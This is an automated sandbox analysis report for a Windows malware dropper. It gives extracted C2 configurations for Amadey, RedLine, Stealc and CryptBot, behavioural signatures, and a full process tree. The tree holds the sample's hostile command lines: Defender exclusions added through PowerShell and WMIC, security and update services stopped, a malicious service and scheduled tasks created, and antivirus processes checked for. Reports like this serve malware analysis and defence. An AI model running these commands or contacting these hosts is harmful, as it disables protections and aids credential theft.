Overview

overview

10

Static

static

3

714426ebe0...a0.exe

windows7-x64

10

714426ebe0...a0.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    17-09-2024 06:27

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    714426ebe0f2d80b82a3a02bf88521178c1ae511d9c4c004ee38dda3cca82ba0.exe

  • Size

    1.9MB

  • MD5

    e855429ab5c0aac783acddca221447a9

  • SHA1

    612af37f590eaab5721f848118aa01377d3b3762

  • SHA256

    714426ebe0f2d80b82a3a02bf88521178c1ae511d9c4c004ee38dda3cca82ba0

  • SHA512

    66f3710c2dbd1152b0522a5d317c588a5dc4f2c9a953a9850c1b40c08d9f2a7276d7c4ff8c440b1f6d5bd9f82522ac6aea3566dee31d1f90ebf4659c9c2a2b3e

  • SSDEEP

    49152:pRem3rsZoSWN7oieO+f0oS7g1hzHvcqALJ:px3rsaDGieO+3Ss3zHUqi

Score
10/10
amadeycryptbotredlinestealc@oleh_pspbundledefaultdefault2fed3aalivetraffictg cloud @rlreborn admin @fatherofcarderscredential_accessdefense_evasiondiscoveryevasionexecutioninfostealerpersistencespywarestealertrojan

Malware Config

Extracted

Family

amadey

Version

4.41

Botnet

fed3aa

C2

http://185.215.113.16

Attributes
  • install_dir

    44111dbc49

  • install_file

    axplong.exe

  • strings_key

    8d0ad6945b1a30a186ec2d30be6db0b5

  • url_paths

    /Jo89Ku7d/index.php

rc4.plain

Extracted

Family

redline

Botnet

LiveTraffic

C2

95.179.250.45:26212

Extracted

Family

redline

Botnet

@OLEH_PSP

C2

65.21.18.51:45580

Extracted

Family

stealc

Botnet

default2

C2

http://185.215.113.17

Attributes
  • url_path

    /2fb6c2cc8dce150a.php

Extracted

Family

stealc

Botnet

default

C2

http://91.202.233.158

Attributes
  • url_path

    /e96ea2db21fa9a1b.php

Extracted

Family

redline

Botnet

bundle

C2

185.215.113.67:15206

Extracted

Family

cryptbot

C2

sevtvd17vs.top

analforeverlovyu.top

fivevd5vs.top
Attributes
  • url_path

    /v1/upload.php

Extracted

Family

redline

Botnet

TG CLOUD @RLREBORN Admin @FATHEROFCARDERS

C2

89.105.223.196:29862

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • CryptBot

    CryptBot is a C++ stealer distributed widely in bundle with other software.

    spywarestealercryptbot
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
    evasiontrojan
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 14 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Windows security bypass 2 TTPs 40 IoCs
    evasiontrojan
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
    evasion
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks BIOS information in registry 2 TTPs 6 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 32 IoCs
  • Identifies Wine through registry keys 2 TTPs 2 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Indirect Command Execution 1 TTPs 19 IoCs

    Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

    defense_evasion
  • Loads dropped DLL 64 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops Chrome extension 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Drops file in System32 directory 31 IoCs
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 13 IoCs
  • Drops file in Windows directory 12 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • NSIS installer 2 IoCs
    installer
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 13 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 15 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1208
      • C:\Users\Admin\AppData\Local\Temp\714426ebe0f2d80b82a3a02bf88521178c1ae511d9c4c004ee38dda3cca82ba0.exe
        "C:\Users\Admin\AppData\Local\Temp\714426ebe0f2d80b82a3a02bf88521178c1ae511d9c4c004ee38dda3cca82ba0.exe"
        2⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Identifies Wine through registry keys
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:1960
        • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
          "C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2292
          • C:\Users\Admin\AppData\Local\Temp\1000002001\gold.exe
            "C:\Users\Admin\AppData\Local\Temp\1000002001\gold.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:2808
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              5⤵
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1992
          • C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
            "C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:1668
            • C:\Users\Admin\AppData\Roaming\XXTSi49fzV.exe
              "C:\Users\Admin\AppData\Roaming\XXTSi49fzV.exe"
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2220
            • C:\Users\Admin\AppData\Roaming\KAEOfnmkUH.exe
              "C:\Users\Admin\AppData\Roaming\KAEOfnmkUH.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2144
          • C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe
            "C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:2332
            • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
              "C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1528
              • C:\Users\Admin\AppData\Local\Temp\1000047001\JavvvUmar.exe
                "C:\Users\Admin\AppData\Local\Temp\1000047001\JavvvUmar.exe"
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                • Checks processor information in registry
                PID:2248
                • C:\Users\Admin\AppData\Local\Temp\service123.exe
                  "C:\Users\Admin\AppData\Local\Temp\service123.exe"
                  7⤵
                  • Executes dropped EXE
                  PID:2244
                • C:\Windows\SysWOW64\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\Admin\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
                  7⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2156
              • C:\Users\Admin\AppData\Local\Temp\1000048001\Office2024.exe
                "C:\Users\Admin\AppData\Local\Temp\1000048001\Office2024.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                PID:2092
                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Drops file in System32 directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:912
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                  7⤵
                    PID:2228
                    • C:\Windows\system32\wusa.exe
                      wusa /uninstall /kb:890830 /quiet /norestart
                      8⤵
                      • Drops file in Windows directory
                      PID:2588
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop UsoSvc
                    7⤵
                    • Launches sc.exe
                    PID:2912
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop WaaSMedicSvc
                    7⤵
                    • Launches sc.exe
                    PID:1972
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop wuauserv
                    7⤵
                    • Launches sc.exe
                    PID:2644
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop bits
                    7⤵
                    • Launches sc.exe
                    PID:532
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop dosvc
                    7⤵
                    • Launches sc.exe
                    PID:2632
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                    7⤵
                    • Power Settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:884
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                    7⤵
                    • Power Settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2280
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                    7⤵
                    • Power Settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3032
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                    7⤵
                    • Power Settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1848
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe delete "QKJNEQWA"
                    7⤵
                    • Launches sc.exe
                    PID:1304
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe create "QKJNEQWA" binpath= "C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe" start= "auto"
                    7⤵
                    • Launches sc.exe
                    PID:1704
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop eventlog
                    7⤵
                    • Launches sc.exe
                    PID:1388
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe start "QKJNEQWA"
                    7⤵
                    • Launches sc.exe
                    PID:3028
                • C:\Users\Admin\AppData\Local\Temp\1000052001\Order.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000052001\Order.exe"
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  PID:2372
            • C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe
              "C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Checks processor information in registry
              • Suspicious behavior: EnumeratesProcesses
              PID:2692
            • C:\Users\Admin\AppData\Local\Temp\1000129001\2.exe
              "C:\Users\Admin\AppData\Local\Temp\1000129001\2.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Checks processor information in registry
              PID:2700
              • C:\Users\Admin\AppData\Local\Temp\service123.exe
                "C:\Users\Admin\AppData\Local\Temp\service123.exe"
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1596
              • C:\Windows\SysWOW64\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\Admin\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
                5⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:1200
            • C:\Users\Admin\AppData\Local\Temp\1000191001\needmoney.exe
              "C:\Users\Admin\AppData\Local\Temp\1000191001\needmoney.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:3064
              • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                5⤵
                • Executes dropped EXE
                PID:3068
            • C:\Users\Admin\AppData\Local\Temp\1000254001\penis.exe
              "C:\Users\Admin\AppData\Local\Temp\1000254001\penis.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2460
            • C:\Users\Admin\AppData\Local\Temp\1000259001\bundle.exe
              "C:\Users\Admin\AppData\Local\Temp\1000259001\bundle.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1404
            • C:\Users\Admin\AppData\Local\Temp\1000284001\acentric.exe
              "C:\Users\Admin\AppData\Local\Temp\1000284001\acentric.exe"
              4⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:2320
            • C:\Users\Admin\AppData\Local\Temp\1000285001\2.exe
              "C:\Users\Admin\AppData\Local\Temp\1000285001\2.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:2196
            • C:\Users\Admin\AppData\Local\Temp\1000287001\splwow64.exe
              "C:\Users\Admin\AppData\Local\Temp\1000287001\splwow64.exe"
              4⤵
              • Executes dropped EXE
              • Drops file in Windows directory
              PID:2672
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c move Emotions Emotions.bat & Emotions.bat
                5⤵
                • Loads dropped DLL
                PID:2884
                • C:\Windows\SysWOW64\tasklist.exe
                  tasklist
                  6⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1748
                • C:\Windows\SysWOW64\findstr.exe
                  findstr /I "wrsa opssvc"
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:700
                • C:\Windows\SysWOW64\tasklist.exe
                  tasklist
                  6⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1544
                • C:\Windows\SysWOW64\findstr.exe
                  findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
                  6⤵
                    PID:888
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c md 607698
                    6⤵
                      PID:2060
                    • C:\Windows\SysWOW64\findstr.exe
                      findstr /V "MaskBathroomCompositionInjection" Participants
                      6⤵
                      • System Location Discovery: System Language Discovery
                      PID:2108
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c copy /b ..\Navy + ..\Temperature + ..\Streaming + ..\Ashley + ..\Ensures + ..\Language + ..\Viruses + ..\Bet + ..\Fla + ..\Asbestos + ..\Width Q
                      6⤵
                      • System Location Discovery: System Language Discovery
                      PID:2128
                    • C:\Users\Admin\AppData\Local\Temp\607698\Waters.pif
                      Waters.pif Q
                      6⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Modifies system certificate store
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      PID:1676
                    • C:\Windows\SysWOW64\choice.exe
                      choice /d y /t 5
                      6⤵
                        PID:2176
                  • C:\Users\Admin\AppData\Local\Temp\1000290001\crypted.exe
                    "C:\Users\Admin\AppData\Local\Temp\1000290001\crypted.exe"
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • System Location Discovery: System Language Discovery
                    PID:2668
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                      5⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2448
                  • C:\Users\Admin\AppData\Local\Temp\1000293001\385121.exe
                    "C:\Users\Admin\AppData\Local\Temp\1000293001\385121.exe"
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:2816
                    • C:\Users\Admin\AppData\Local\Temp\7zS6F75.tmp\Install.exe
                      .\Install.exe
                      5⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • System Location Discovery: System Language Discovery
                      PID:396
                      • C:\Users\Admin\AppData\Local\Temp\7zS71C6.tmp\Install.exe
                        .\Install.exe /TndidBffk "385121" /S
                        6⤵
                        • Checks BIOS information in registry
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Enumerates system info in registry
                        PID:2544
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                          7⤵
                          • System Location Discovery: System Language Discovery
                          PID:1768
                          • C:\Windows\SysWOW64\forfiles.exe
                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                            8⤵
                            • Indirect Command Execution
                            PID:1540
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                              9⤵
                                PID:940
                                • \??\c:\windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                  10⤵
                                    PID:2568
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                8⤵
                                • Indirect Command Execution
                                PID:2908
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                  9⤵
                                    PID:324
                                    • \??\c:\windows\SysWOW64\reg.exe
                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                      10⤵
                                        PID:648
                                  • C:\Windows\SysWOW64\forfiles.exe
                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                    8⤵
                                    • Indirect Command Execution
                                    • System Location Discovery: System Language Discovery
                                    PID:1520
                                    • C:\Windows\SysWOW64\cmd.exe
                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                      9⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:2524
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                        10⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:912
                                  • C:\Windows\SysWOW64\forfiles.exe
                                    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                    8⤵
                                    • Indirect Command Execution
                                    PID:2088
                                    • C:\Windows\SysWOW64\cmd.exe
                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                      9⤵
                                        PID:2244
                                        • \??\c:\windows\SysWOW64\reg.exe
                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                          10⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:844
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                      8⤵
                                      • Indirect Command Execution
                                      PID:1700
                                      • C:\Windows\SysWOW64\cmd.exe
                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                        9⤵
                                          PID:2484
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                            10⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Drops file in System32 directory
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:1544
                                            • C:\Windows\SysWOW64\gpupdate.exe
                                              "C:\Windows\system32\gpupdate.exe" /force
                                              11⤵
                                                PID:1436
                                      • C:\Windows\SysWOW64\forfiles.exe
                                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m ping.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                        7⤵
                                        • Indirect Command Execution
                                        • System Location Discovery: System Language Discovery
                                        PID:572
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                          8⤵
                                            PID:2440
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                              9⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Drops file in System32 directory
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:1152
                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                10⤵
                                                • System Location Discovery: System Language Discovery
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:1356
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          schtasks /CREATE /TN "brevOBcwtMwmfXpFer" /SC once /ST 06:29:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\IAratBblVJltzHgTY\lGLnBBDaOUjRoDQ\PcooBtu.exe\" DZ /ndidD 385121 /S" /V1 /F
                                          7⤵
                                          • Drops file in Windows directory
                                          • Scheduled Task/Job: Scheduled Task
                                          PID:2592
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 2544 -s 588
                                          7⤵
                                          • Loads dropped DLL
                                          • Program crash
                                          PID:952
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c schtasks.exe /create /tn "Tuition" /tr "wscript //B 'C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js'" /sc minute /mo 5 /F
                                2⤵
                                  PID:2512
                                  • C:\Windows\SysWOW64\schtasks.exe
                                    schtasks.exe /create /tn "Tuition" /tr "wscript //B 'C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js'" /sc minute /mo 5 /F
                                    3⤵
                                    • Scheduled Task/Job: Scheduled Task
                                    PID:2692
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QuantumFlow.url" & echo URL="C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QuantumFlow.url" & exit
                                  2⤵
                                  • Drops startup file
                                  PID:880
                              • C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe
                                C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe
                                1⤵
                                • Executes dropped EXE
                                • Drops file in System32 directory
                                • Suspicious use of SetThreadContext
                                • Suspicious behavior: EnumeratesProcesses
                                PID:2752
                                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                  2⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Drops file in System32 directory
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1276
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                  2⤵
                                    PID:2668
                                    • C:\Windows\system32\wusa.exe
                                      wusa /uninstall /kb:890830 /quiet /norestart
                                      3⤵
                                      • Drops file in Windows directory
                                      PID:1060
                                  • C:\Windows\system32\sc.exe
                                    C:\Windows\system32\sc.exe stop UsoSvc
                                    2⤵
                                    • Launches sc.exe
                                    PID:848
                                  • C:\Windows\system32\sc.exe
                                    C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                    2⤵
                                    • Launches sc.exe
                                    PID:404
